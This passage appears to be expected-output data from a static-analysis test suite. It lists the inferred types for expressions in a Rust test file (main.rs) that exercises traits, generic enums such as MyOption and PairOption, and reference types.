| MyThing | -| main.rs:316:18:318:9 | MyThing {...} | T | main.rs:257:5:260:5 | MyThing | -| main.rs:316:18:318:9 | MyThing {...} | T.T | main.rs:264:5:265:14 | S2 | -| main.rs:317:16:317:32 | MyThing {...} | | main.rs:257:5:260:5 | MyThing | -| main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | S2 | -| main.rs:317:29:317:30 | S2 | | main.rs:264:5:265:14 | S2 | -| main.rs:320:26:320:48 | call_trait_thing_m1(...) | | main.rs:262:5:263:14 | S1 | -| main.rs:320:46:320:47 | x3 | | main.rs:257:5:260:5 | MyThing | -| main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | MyThing | -| main.rs:320:46:320:47 | x3 | T.T | main.rs:262:5:263:14 | S1 | -| main.rs:321:26:321:48 | call_trait_thing_m1(...) | | main.rs:264:5:265:14 | S2 | -| main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | MyThing | -| main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | MyThing | -| main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | S2 | -| main.rs:329:15:329:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | -| main.rs:331:15:331:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | -| main.rs:346:15:346:18 | SelfParam | | main.rs:340:5:341:13 | S | -| main.rs:346:45:348:9 | { ... } | | main.rs:340:5:341:13 | S | -| main.rs:347:13:347:13 | S | | main.rs:340:5:341:13 | S | -| main.rs:352:13:352:13 | x | | main.rs:340:5:341:13 | S | -| main.rs:352:17:352:17 | S | | main.rs:340:5:341:13 | S | -| main.rs:353:26:353:26 | x | | main.rs:340:5:341:13 | S | -| main.rs:353:26:353:31 | x.m1() | | main.rs:340:5:341:13 | S | -| main.rs:355:13:355:13 | x | | main.rs:340:5:341:13 | S | -| main.rs:355:17:355:17 | S | | main.rs:340:5:341:13 | S | -| main.rs:356:26:356:26 | x | | main.rs:340:5:341:13 | S | -| main.rs:373:15:373:18 | SelfParam | | main.rs:361:5:365:5 | MyEnum | -| main.rs:373:15:373:18 | SelfParam | A | main.rs:372:10:372:10 | T | -| main.rs:373:26:378:9 | { ... } | | main.rs:372:10:372:10 | T | -| main.rs:374:13:377:13 | match self { ... } | | main.rs:372:10:372:10 | T | -| main.rs:374:19:374:22 | self | | main.rs:361:5:365:5 | MyEnum | -| main.rs:374:19:374:22 | self | A | main.rs:372:10:372:10 | T | -| main.rs:375:28:375:28 | a | | main.rs:372:10:372:10 | T | -| main.rs:375:34:375:34 | a | | main.rs:372:10:372:10 | T | -| main.rs:376:30:376:30 | a | | main.rs:372:10:372:10 | T | -| main.rs:376:37:376:37 | a | | main.rs:372:10:372:10 | T | -| main.rs:382:13:382:13 | x | | main.rs:361:5:365:5 | MyEnum | -| main.rs:382:13:382:13 | x | A | main.rs:367:5:368:14 | S1 | -| main.rs:382:17:382:30 | ...::C1(...) | | main.rs:361:5:365:5 | MyEnum | -| main.rs:382:17:382:30 | ...::C1(...) | A | main.rs:367:5:368:14 | S1 | -| main.rs:382:28:382:29 | S1 | | main.rs:367:5:368:14 | S1 | -| main.rs:383:13:383:13 | y | | main.rs:361:5:365:5 | MyEnum | -| main.rs:383:13:383:13 | y | A | main.rs:369:5:370:14 | S2 | -| main.rs:383:17:383:36 | ...::C2 {...} | | main.rs:361:5:365:5 | MyEnum | -| main.rs:383:17:383:36 | ...::C2 {...} | A | main.rs:369:5:370:14 | S2 | -| main.rs:383:33:383:34 | S2 | | main.rs:369:5:370:14 | S2 | -| main.rs:385:26:385:26 | x | | main.rs:361:5:365:5 | MyEnum | -| main.rs:385:26:385:26 | x | A | main.rs:367:5:368:14 | S1 | -| main.rs:385:26:385:31 | x.m1() | | main.rs:367:5:368:14 | S1 | -| main.rs:386:26:386:26 | y | | main.rs:361:5:365:5 | MyEnum | -| main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | S2 | -| main.rs:386:26:386:31 | y.m1() | | main.rs:369:5:370:14 | S2 | -| main.rs:407:15:407:18 | SelfParam | | main.rs:406:5:408:5 | Self [trait MyTrait1] | -| main.rs:411:15:411:18 | SelfParam | | main.rs:410:5:421:5 | Self [trait MyTrait2] | -| main.rs:414:9:420:9 | { ... } | | main.rs:410:20:410:22 | Tr2 | -| main.rs:415:13:419:13 | if ... {...} else {...} | | main.rs:410:20:410:22 | Tr2 | -| main.rs:415:26:417:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | -| main.rs:416:17:416:20 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | -| main.rs:416:17:416:25 | self.m1() | | main.rs:410:20:410:22 | Tr2 | -| main.rs:417:20:419:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | -| main.rs:418:17:418:30 | ...::m1(...) | | main.rs:410:20:410:22 | Tr2 | -| main.rs:418:26:418:29 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | -| main.rs:424:15:424:18 | SelfParam | | main.rs:423:5:434:5 | Self [trait MyTrait3] | -| main.rs:427:9:433:9 | { ... } | | main.rs:423:20:423:22 | Tr3 | -| main.rs:428:13:432:13 | if ... {...} else {...} | | main.rs:423:20:423:22 | Tr3 | -| main.rs:428:26:430:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | -| main.rs:429:17:429:20 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | -| main.rs:429:17:429:25 | self.m2() | | main.rs:391:5:394:5 | MyThing | -| main.rs:429:17:429:25 | self.m2() | A | main.rs:423:20:423:22 | Tr3 | -| main.rs:429:17:429:27 | ... .a | | main.rs:423:20:423:22 | Tr3 | -| main.rs:430:20:432:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:17:431:30 | ...::m2(...) | | main.rs:391:5:394:5 | MyThing | -| main.rs:431:17:431:30 | ...::m2(...) | A | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:17:431:32 | ... .a | | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:26:431:29 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | -| main.rs:437:15:437:18 | SelfParam | | main.rs:391:5:394:5 | MyThing | -| main.rs:437:15:437:18 | SelfParam | A | main.rs:436:10:436:10 | T | -| main.rs:437:26:439:9 | { ... } | | main.rs:436:10:436:10 | T | -| main.rs:438:13:438:16 | self | | main.rs:391:5:394:5 | MyThing | -| main.rs:438:13:438:16 | self | A | main.rs:436:10:436:10 | T | -| main.rs:438:13:438:18 | self.a | | main.rs:436:10:436:10 | T | -| main.rs:445:15:445:18 | SelfParam | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:445:15:445:18 | SelfParam | A | main.rs:444:10:444:10 | T | -| main.rs:445:35:447:9 | { ... } | | main.rs:391:5:394:5 | MyThing | -| main.rs:445:35:447:9 | { ... } | A | main.rs:444:10:444:10 | T | -| main.rs:446:13:446:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | -| main.rs:446:13:446:33 | MyThing {...} | A | main.rs:444:10:444:10 | T | -| main.rs:446:26:446:29 | self | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:446:26:446:29 | self | A | main.rs:444:10:444:10 | T | -| main.rs:446:26:446:31 | self.a | | main.rs:444:10:444:10 | T | -| main.rs:455:13:455:13 | x | | main.rs:391:5:394:5 | MyThing | -| main.rs:455:13:455:13 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:455:17:455:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | -| main.rs:455:17:455:33 | MyThing {...} | A | main.rs:401:5:402:14 | S1 | -| main.rs:455:30:455:31 | S1 | | main.rs:401:5:402:14 | S1 | -| main.rs:456:13:456:13 | y | | main.rs:391:5:394:5 | MyThing | -| main.rs:456:13:456:13 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:456:17:456:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | -| main.rs:456:17:456:33 | MyThing {...} | A | main.rs:403:5:404:14 | S2 | -| main.rs:456:30:456:31 | S2 | | main.rs:403:5:404:14 | S2 | -| main.rs:458:26:458:26 | x | | main.rs:391:5:394:5 | MyThing | -| main.rs:458:26:458:26 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:458:26:458:31 | x.m1() | | main.rs:401:5:402:14 | S1 | -| main.rs:459:26:459:26 | y | | main.rs:391:5:394:5 | MyThing | -| main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:459:26:459:31 | y.m1() | | main.rs:403:5:404:14 | S2 | -| main.rs:461:13:461:13 | x | | main.rs:391:5:394:5 | MyThing | -| main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:461:17:461:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | -| main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | S1 | -| main.rs:461:30:461:31 | S1 | | main.rs:401:5:402:14 | S1 | -| main.rs:462:13:462:13 | y | | main.rs:391:5:394:5 | MyThing | -| main.rs:462:13:462:13 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:462:17:462:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | -| main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | S2 | -| main.rs:462:30:462:31 | S2 | | main.rs:403:5:404:14 | S2 | -| main.rs:464:26:464:26 | x | | main.rs:391:5:394:5 | MyThing | -| main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:464:26:464:31 | x.m2() | | main.rs:401:5:402:14 | S1 | -| main.rs:465:26:465:26 | y | | main.rs:391:5:394:5 | MyThing | -| main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:465:26:465:31 | y.m2() | | main.rs:403:5:404:14 | S2 | -| main.rs:467:13:467:13 | x | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | S1 | -| main.rs:467:31:467:32 | S1 | | main.rs:401:5:402:14 | S1 | -| main.rs:468:13:468:13 | y | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | S2 | -| main.rs:468:31:468:32 | S2 | | main.rs:403:5:404:14 | S2 | -| main.rs:470:26:470:26 | x | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | S1 | -| main.rs:470:26:470:31 | x.m3() | | main.rs:401:5:402:14 | S1 | -| main.rs:471:26:471:26 | y | | main.rs:396:5:399:5 | MyThing2 | -| main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | S2 | -| main.rs:471:26:471:31 | y.m3() | | main.rs:403:5:404:14 | S2 | -| main.rs:489:22:489:22 | x | | file://:0:0:0:0 | & | -| main.rs:489:22:489:22 | x | &T | main.rs:489:11:489:19 | T | -| main.rs:489:35:491:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:489:35:491:5 | { ... } | &T | main.rs:489:11:489:19 | T | -| main.rs:490:9:490:9 | x | | file://:0:0:0:0 | & | -| main.rs:490:9:490:9 | x | &T | main.rs:489:11:489:19 | T | -| main.rs:494:17:494:20 | SelfParam | | main.rs:479:5:480:14 | S1 | -| main.rs:494:29:496:9 | { ... } | | main.rs:482:5:483:14 | S2 | -| main.rs:495:13:495:14 | S2 | | main.rs:482:5:483:14 | S2 | -| main.rs:499:21:499:21 | x | | main.rs:499:13:499:14 | T1 | -| main.rs:502:5:504:5 | { ... } | | main.rs:499:17:499:18 | T2 | -| main.rs:503:9:503:9 | x | | main.rs:499:13:499:14 | T1 | -| main.rs:503:9:503:16 | x.into() | | main.rs:499:17:499:18 | T2 | -| main.rs:507:13:507:13 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:507:17:507:18 | S1 | | main.rs:479:5:480:14 | S1 | -| main.rs:508:26:508:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:508:26:508:31 | id(...) | &T | main.rs:479:5:480:14 | S1 | -| main.rs:508:29:508:30 | &x | | file://:0:0:0:0 | & | -| main.rs:508:29:508:30 | &x | &T | main.rs:479:5:480:14 | S1 | -| main.rs:508:30:508:30 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:510:13:510:13 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:510:17:510:18 | S1 | | main.rs:479:5:480:14 | S1 | -| main.rs:511:26:511:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:511:26:511:37 | id::<...>(...) | &T | main.rs:479:5:480:14 | S1 | -| main.rs:511:35:511:36 | &x | | file://:0:0:0:0 | & | -| main.rs:511:35:511:36 | &x | &T | main.rs:479:5:480:14 | S1 | -| main.rs:511:36:511:36 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:513:13:513:13 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:513:17:513:18 | S1 | | main.rs:479:5:480:14 | S1 | -| main.rs:514:26:514:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:514:26:514:44 | id::<...>(...) | &T | main.rs:479:5:480:14 | S1 | -| main.rs:514:42:514:43 | &x | | file://:0:0:0:0 | & | -| main.rs:514:42:514:43 | &x | &T | main.rs:479:5:480:14 | S1 | -| main.rs:514:43:514:43 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:516:13:516:13 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:516:17:516:18 | S1 | | main.rs:479:5:480:14 | S1 | -| main.rs:517:9:517:25 | into::<...>(...) | | main.rs:482:5:483:14 | S2 | -| main.rs:517:24:517:24 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:519:13:519:13 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:519:17:519:18 | S1 | | main.rs:479:5:480:14 | S1 | -| main.rs:520:13:520:13 | y | | main.rs:482:5:483:14 | S2 | -| main.rs:520:21:520:27 | into(...) | | main.rs:482:5:483:14 | S2 | -| main.rs:520:26:520:26 | x | | main.rs:479:5:480:14 | S1 | -| main.rs:550:13:550:14 | p1 | | main.rs:525:5:531:5 | PairOption | -| main.rs:550:13:550:14 | p1 | Fst | main.rs:533:5:534:14 | S1 | -| main.rs:550:13:550:14 | p1 | Snd | main.rs:536:5:537:14 | S2 | -| main.rs:550:26:550:53 | ...::PairBoth(...) | | main.rs:525:5:531:5 | PairOption | -| main.rs:550:26:550:53 | ...::PairBoth(...) | Fst | main.rs:533:5:534:14 | S1 | -| main.rs:550:26:550:53 | ...::PairBoth(...) | Snd | main.rs:536:5:537:14 | S2 | -| main.rs:550:47:550:48 | S1 | | main.rs:533:5:534:14 | S1 | -| main.rs:550:51:550:52 | S2 | | main.rs:536:5:537:14 | S2 | -| main.rs:551:26:551:27 | p1 | | main.rs:525:5:531:5 | PairOption | -| main.rs:551:26:551:27 | p1 | Fst | main.rs:533:5:534:14 | S1 | -| main.rs:551:26:551:27 | p1 | Snd | main.rs:536:5:537:14 | S2 | -| main.rs:554:13:554:14 | p2 | | main.rs:525:5:531:5 | PairOption | -| main.rs:554:26:554:47 | ...::PairNone(...) | | main.rs:525:5:531:5 | PairOption | -| main.rs:555:26:555:27 | p2 | | main.rs:525:5:531:5 | PairOption | -| main.rs:558:13:558:14 | p3 | | main.rs:525:5:531:5 | PairOption | -| main.rs:558:13:558:14 | p3 | Snd | main.rs:539:5:540:14 | S3 | -| main.rs:558:34:558:56 | ...::PairSnd(...) | | main.rs:525:5:531:5 | PairOption | -| main.rs:558:34:558:56 | ...::PairSnd(...) | Snd | main.rs:539:5:540:14 | S3 | -| main.rs:558:54:558:55 | S3 | | main.rs:539:5:540:14 | S3 | -| main.rs:559:26:559:27 | p3 | | main.rs:525:5:531:5 | PairOption | -| main.rs:559:26:559:27 | p3 | Snd | main.rs:539:5:540:14 | S3 | -| main.rs:562:13:562:14 | p3 | | main.rs:525:5:531:5 | PairOption | -| main.rs:562:13:562:14 | p3 | Fst | main.rs:539:5:540:14 | S3 | -| main.rs:562:35:562:56 | ...::PairNone(...) | | main.rs:525:5:531:5 | PairOption | -| main.rs:562:35:562:56 | ...::PairNone(...) | Fst | main.rs:539:5:540:14 | S3 | -| main.rs:563:26:563:27 | p3 | | main.rs:525:5:531:5 | PairOption | -| main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | S3 | -| main.rs:575:16:575:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | -| main.rs:575:27:575:31 | value | | main.rs:574:19:574:19 | S | -| main.rs:577:21:577:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:577:21:577:29 | SelfParam | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | -| main.rs:577:32:577:36 | value | | main.rs:574:19:574:19 | S | -| main.rs:578:13:578:16 | self | | file://:0:0:0:0 | & | -| main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | -| main.rs:578:22:578:26 | value | | main.rs:574:19:574:19 | S | -| main.rs:583:16:583:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | MyOption | -| main.rs:583:16:583:24 | SelfParam | &T.T | main.rs:582:10:582:10 | T | -| main.rs:583:27:583:31 | value | | main.rs:582:10:582:10 | T | -| main.rs:587:26:589:9 | { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:587:26:589:9 | { ... } | T | main.rs:586:10:586:10 | T | -| main.rs:588:13:588:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:588:13:588:30 | ...::MyNone(...) | T | main.rs:586:10:586:10 | T | -| main.rs:593:20:593:23 | SelfParam | | main.rs:568:5:572:5 | MyOption | -| main.rs:593:20:593:23 | SelfParam | T | main.rs:568:5:572:5 | MyOption | -| main.rs:593:20:593:23 | SelfParam | T.T | main.rs:592:10:592:10 | T | -| main.rs:593:41:598:9 | { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:593:41:598:9 | { ... } | T | main.rs:592:10:592:10 | T | -| main.rs:594:13:597:13 | match self { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:594:13:597:13 | match self { ... } | T | main.rs:592:10:592:10 | T | -| main.rs:594:19:594:22 | self | | main.rs:568:5:572:5 | MyOption | -| main.rs:594:19:594:22 | self | T | main.rs:568:5:572:5 | MyOption | -| main.rs:594:19:594:22 | self | T.T | main.rs:592:10:592:10 | T | -| main.rs:595:39:595:56 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:595:39:595:56 | ...::MyNone(...) | T | main.rs:592:10:592:10 | T | -| main.rs:596:34:596:34 | x | | main.rs:568:5:572:5 | MyOption | -| main.rs:596:34:596:34 | x | T | main.rs:592:10:592:10 | T | -| main.rs:596:40:596:40 | x | | main.rs:568:5:572:5 | MyOption | -| main.rs:596:40:596:40 | x | T | main.rs:592:10:592:10 | T | -| main.rs:605:13:605:14 | x1 | | main.rs:568:5:572:5 | MyOption | -| main.rs:605:18:605:37 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:606:26:606:27 | x1 | | main.rs:568:5:572:5 | MyOption | -| main.rs:608:13:608:18 | mut x2 | | main.rs:568:5:572:5 | MyOption | -| main.rs:608:13:608:18 | mut x2 | T | main.rs:601:5:602:13 | S | -| main.rs:608:22:608:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:608:22:608:36 | ...::new(...) | T | main.rs:601:5:602:13 | S | -| main.rs:609:9:609:10 | x2 | | main.rs:568:5:572:5 | MyOption | -| main.rs:609:9:609:10 | x2 | T | main.rs:601:5:602:13 | S | -| main.rs:609:16:609:16 | S | | main.rs:601:5:602:13 | S | -| main.rs:610:26:610:27 | x2 | | main.rs:568:5:572:5 | MyOption | -| main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | S | -| main.rs:612:13:612:18 | mut x3 | | main.rs:568:5:572:5 | MyOption | -| main.rs:612:22:612:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:613:9:613:10 | x3 | | main.rs:568:5:572:5 | MyOption | -| main.rs:613:21:613:21 | S | | main.rs:601:5:602:13 | S | -| main.rs:614:26:614:27 | x3 | | main.rs:568:5:572:5 | MyOption | -| main.rs:616:13:616:18 | mut x4 | | main.rs:568:5:572:5 | MyOption | -| main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | S | -| main.rs:616:22:616:36 | ...::new(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:616:22:616:36 | ...::new(...) | T | main.rs:601:5:602:13 | S | -| main.rs:617:23:617:29 | &mut x4 | | file://:0:0:0:0 | & | -| main.rs:617:23:617:29 | &mut x4 | &T | main.rs:568:5:572:5 | MyOption | -| main.rs:617:23:617:29 | &mut x4 | &T.T | main.rs:601:5:602:13 | S | -| main.rs:617:28:617:29 | x4 | | main.rs:568:5:572:5 | MyOption | -| main.rs:617:28:617:29 | x4 | T | main.rs:601:5:602:13 | S | -| main.rs:617:32:617:32 | S | | main.rs:601:5:602:13 | S | -| main.rs:618:26:618:27 | x4 | | main.rs:568:5:572:5 | MyOption | -| main.rs:618:26:618:27 | x4 | T | main.rs:601:5:602:13 | S | -| main.rs:620:13:620:14 | x5 | | main.rs:568:5:572:5 | MyOption | -| main.rs:620:13:620:14 | x5 | T | main.rs:568:5:572:5 | MyOption | -| main.rs:620:13:620:14 | x5 | T.T | main.rs:601:5:602:13 | S | -| main.rs:620:18:620:58 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:620:18:620:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | MyOption | -| main.rs:620:18:620:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | S | -| main.rs:620:35:620:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:620:35:620:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | -| main.rs:621:26:621:27 | x5 | | main.rs:568:5:572:5 | MyOption | -| main.rs:621:26:621:27 | x5 | T | main.rs:568:5:572:5 | MyOption | -| main.rs:621:26:621:27 | x5 | T.T | main.rs:601:5:602:13 | S | -| main.rs:623:13:623:14 | x6 | | main.rs:568:5:572:5 | MyOption | -| main.rs:623:13:623:14 | x6 | T | main.rs:568:5:572:5 | MyOption | -| main.rs:623:13:623:14 | x6 | T.T | main.rs:601:5:602:13 | S | -| main.rs:623:18:623:58 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:623:18:623:58 | ...::MySome(...) | T | main.rs:568:5:572:5 | MyOption | -| main.rs:623:18:623:58 | ...::MySome(...) | T.T | main.rs:601:5:602:13 | S | -| main.rs:623:35:623:57 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:623:35:623:57 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | -| main.rs:624:26:624:61 | ...::flatten(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:624:26:624:61 | ...::flatten(...) | T | main.rs:601:5:602:13 | S | -| main.rs:624:59:624:60 | x6 | | main.rs:568:5:572:5 | MyOption | -| main.rs:624:59:624:60 | x6 | T | main.rs:568:5:572:5 | MyOption | -| main.rs:624:59:624:60 | x6 | T.T | main.rs:601:5:602:13 | S | -| main.rs:626:13:626:19 | from_if | | main.rs:568:5:572:5 | MyOption | -| main.rs:626:13:626:19 | from_if | T | main.rs:601:5:602:13 | S | -| main.rs:626:23:630:9 | if ... {...} else {...} | | main.rs:568:5:572:5 | MyOption | -| main.rs:626:23:630:9 | if ... {...} else {...} | T | main.rs:601:5:602:13 | S | -| main.rs:626:36:628:9 | { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:626:36:628:9 | { ... } | T | main.rs:601:5:602:13 | S | -| main.rs:627:13:627:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:627:13:627:30 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | -| main.rs:628:16:630:9 | { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:628:16:630:9 | { ... } | T | main.rs:601:5:602:13 | S | -| main.rs:629:13:629:31 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:629:13:629:31 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | -| main.rs:629:30:629:30 | S | | main.rs:601:5:602:13 | S | -| main.rs:631:26:631:32 | from_if | | main.rs:568:5:572:5 | MyOption | -| main.rs:631:26:631:32 | from_if | T | main.rs:601:5:602:13 | S | -| main.rs:633:13:633:22 | from_match | | main.rs:568:5:572:5 | MyOption | -| main.rs:633:13:633:22 | from_match | T | main.rs:601:5:602:13 | S | -| main.rs:633:26:636:9 | match ... { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:633:26:636:9 | match ... { ... } | T | main.rs:601:5:602:13 | S | -| main.rs:634:21:634:38 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:634:21:634:38 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | -| main.rs:635:22:635:40 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:635:22:635:40 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | -| main.rs:635:39:635:39 | S | | main.rs:601:5:602:13 | S | -| main.rs:637:26:637:35 | from_match | | main.rs:568:5:572:5 | MyOption | -| main.rs:637:26:637:35 | from_match | T | main.rs:601:5:602:13 | S | -| main.rs:639:13:639:21 | from_loop | | main.rs:568:5:572:5 | MyOption | -| main.rs:639:13:639:21 | from_loop | T | main.rs:601:5:602:13 | S | -| main.rs:639:25:644:9 | loop { ... } | | main.rs:568:5:572:5 | MyOption | -| main.rs:639:25:644:9 | loop { ... } | T | main.rs:601:5:602:13 | S | -| main.rs:641:23:641:40 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:641:23:641:40 | ...::MyNone(...) | T | main.rs:601:5:602:13 | S | -| main.rs:643:19:643:37 | ...::MySome(...) | | main.rs:568:5:572:5 | MyOption | -| main.rs:643:19:643:37 | ...::MySome(...) | T | main.rs:601:5:602:13 | S | -| main.rs:643:36:643:36 | S | | main.rs:601:5:602:13 | S | -| main.rs:645:26:645:34 | from_loop | | main.rs:568:5:572:5 | MyOption | -| main.rs:645:26:645:34 | from_loop | T | main.rs:601:5:602:13 | S | -| main.rs:658:15:658:18 | SelfParam | | main.rs:651:5:652:19 | S | -| main.rs:658:15:658:18 | SelfParam | T | main.rs:657:10:657:10 | T | -| main.rs:658:26:660:9 | { ... } | | main.rs:657:10:657:10 | T | -| main.rs:659:13:659:16 | self | | main.rs:651:5:652:19 | S | -| main.rs:659:13:659:16 | self | T | main.rs:657:10:657:10 | T | -| main.rs:659:13:659:18 | self.0 | | main.rs:657:10:657:10 | T | -| main.rs:662:15:662:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:662:15:662:19 | SelfParam | &T | main.rs:651:5:652:19 | S | -| main.rs:662:15:662:19 | SelfParam | &T.T | main.rs:657:10:657:10 | T | -| main.rs:662:28:664:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:662:28:664:9 | { ... } | &T | main.rs:657:10:657:10 | T | -| main.rs:663:13:663:19 | &... | | file://:0:0:0:0 | & | -| main.rs:663:13:663:19 | &... | &T | main.rs:657:10:657:10 | T | -| main.rs:663:14:663:17 | self | | file://:0:0:0:0 | & | -| main.rs:663:14:663:17 | self | &T | main.rs:651:5:652:19 | S | -| main.rs:663:14:663:17 | self | &T.T | main.rs:657:10:657:10 | T | -| main.rs:663:14:663:19 | self.0 | | main.rs:657:10:657:10 | T | -| main.rs:666:15:666:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:666:15:666:25 | SelfParam | &T | main.rs:651:5:652:19 | S | -| main.rs:666:15:666:25 | SelfParam | &T.T | main.rs:657:10:657:10 | T | -| main.rs:666:34:668:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:666:34:668:9 | { ... } | &T | main.rs:657:10:657:10 | T | -| main.rs:667:13:667:19 | &... | | file://:0:0:0:0 | & | -| main.rs:667:13:667:19 | &... | &T | main.rs:657:10:657:10 | T | -| main.rs:667:14:667:17 | self | | file://:0:0:0:0 | & | -| main.rs:667:14:667:17 | self | &T | main.rs:651:5:652:19 | S | -| main.rs:667:14:667:17 | self | &T.T | main.rs:657:10:657:10 | T | -| main.rs:667:14:667:19 | self.0 | | main.rs:657:10:657:10 | T | -| main.rs:672:13:672:14 | x1 | | main.rs:651:5:652:19 | S | -| main.rs:672:13:672:14 | x1 | T | main.rs:654:5:655:14 | S2 | -| main.rs:672:18:672:22 | S(...) | | main.rs:651:5:652:19 | S | -| main.rs:672:18:672:22 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:672:20:672:21 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:673:26:673:27 | x1 | | main.rs:651:5:652:19 | S | -| main.rs:673:26:673:27 | x1 | T | main.rs:654:5:655:14 | S2 | -| main.rs:673:26:673:32 | x1.m1() | | main.rs:654:5:655:14 | S2 | -| main.rs:675:13:675:14 | x2 | | main.rs:651:5:652:19 | S | -| main.rs:675:13:675:14 | x2 | T | main.rs:654:5:655:14 | S2 | -| main.rs:675:18:675:22 | S(...) | | 